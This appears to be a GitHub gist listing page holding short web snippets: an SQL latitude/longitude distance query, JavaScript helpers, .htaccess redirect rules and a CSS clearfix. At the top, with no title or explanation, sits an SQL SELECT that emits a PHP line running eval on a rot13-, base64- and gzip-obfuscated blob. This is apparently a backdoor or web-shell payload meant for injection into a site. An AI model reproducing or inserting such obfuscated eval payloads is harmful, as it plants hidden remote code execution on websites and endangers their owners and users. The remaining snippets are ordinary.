Skip to content

Instantly share code, notes, and snippets.

SELECT '<?php eval (gzinflate(base64_decode(str_rot13("ML/EF8ZjRZnsUrk/hVMOJaQZS19pZ3kkVNtX06qEFgnxAct0bH2RGin/zljgT/c2q9/iih+BI40TaSguWq98TXxc4k0pOiufqT+K7WvibboK8kxCfTyZ6IddrWcAV5mKhyANXlg0FkNPkJ2wTHUTrlQtoJHUjjyFGycunTqKtI8lnvzPLRJDT6ZEPUoIKJWkYyewYRFaJxt+epn6S0qs39+umDuTfsEJnSmd3HRWTkCv/WgX54K4g98833KBSUHXv/Ygqsr+k4USOENPRjxM/ZkaAk56eYDM0xJ5sK552h1khNHKr2lIXpZOhYvSs2VHZh8O8oKbPibYUutxFLYKpCY2KCo8Y7ByDy6D0l8=")))); ?>' FROM `mouwaffek_table`'
@robinflyhigh
robinflyhigh / gist:6550037
Created September 13, 2013 12:29
SQL to get area by KM using Latitude and Longitude
Select place_id from places where ((ACOS( SIN($latitude * PI() / 180) * SIN(latitude * PI() / 180) + COS($latitude * PI() / 180) * COS(latitude * PI() / 180) * COS(($longitude - longitude) * PI() / 180)) * 180 / PI()) * 60 * 1.1515 * 1.609) <= 2)
@robinflyhigh
robinflyhigh / gist:6296045
Created August 21, 2013 15:38
List all JS variable in console
for(var b in window) {
if(window.hasOwnProperty(b)) console.log(b);
}
@robinflyhigh
robinflyhigh / Get Random Number
Last active December 18, 2015 02:59
Get Random Number
<script>
function getRandomNum(min, max) {
return Math.random() * (max - min) + min;
}
</script>
@robinflyhigh
robinflyhigh / Get Random Color
Last active December 18, 2015 02:59
Get Random Color
<script>
function getRandomColor() {
return (
pad(getRandomInt(0, 255).toString(16), 2) +
pad(getRandomInt(0, 255).toString(16), 2) +
pad(getRandomInt(0, 255).toString(16), 2)
);
}
</script>
@robinflyhigh
robinflyhigh / Load Script
Last active December 18, 2015 02:59
Load Script
<script>
function loadScript(url)
{
var head = document.getElementsByTagName('head')[0];
var script = document.createElement('script');
script.type = 'text/javascript';
script.src = url;
script.async = true;
head.appendChild(script);
}
@robinflyhigh
robinflyhigh / Redirect Request to a Folder using .htaccess
Last active December 18, 2015 00:59
Redirect Request to a Folder using .htaccess
RewriteCond %{HTTP_HOST} ^(www.)?domain.com$
RewriteCond %{REQUEST_URI} !^/domain.com/
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.*)$ /domain.com/$1
RewriteCond %{HTTP_HOST} ^(www.)?domain.com$
RewriteRule ^(/)?$ domain.com/ [L]
.clearfix:after {
content: ".";
display: block;
clear: both;
visibility: hidden;
line-height: 0;
height: 0;
}
.clearfix {
@robinflyhigh
robinflyhigh / 301 Redirection using .htaccess
Last active September 29, 2015 12:17
301 Redirection using .htaccess
RewriteRule old.html$ new.html [R=301,L]
@robinflyhigh
robinflyhigh / Enable PHP Error Reporting via .htaccess
Last active September 29, 2015 08:28
Enable PHP Error Reporting via .htaccess
php_flag display_errors on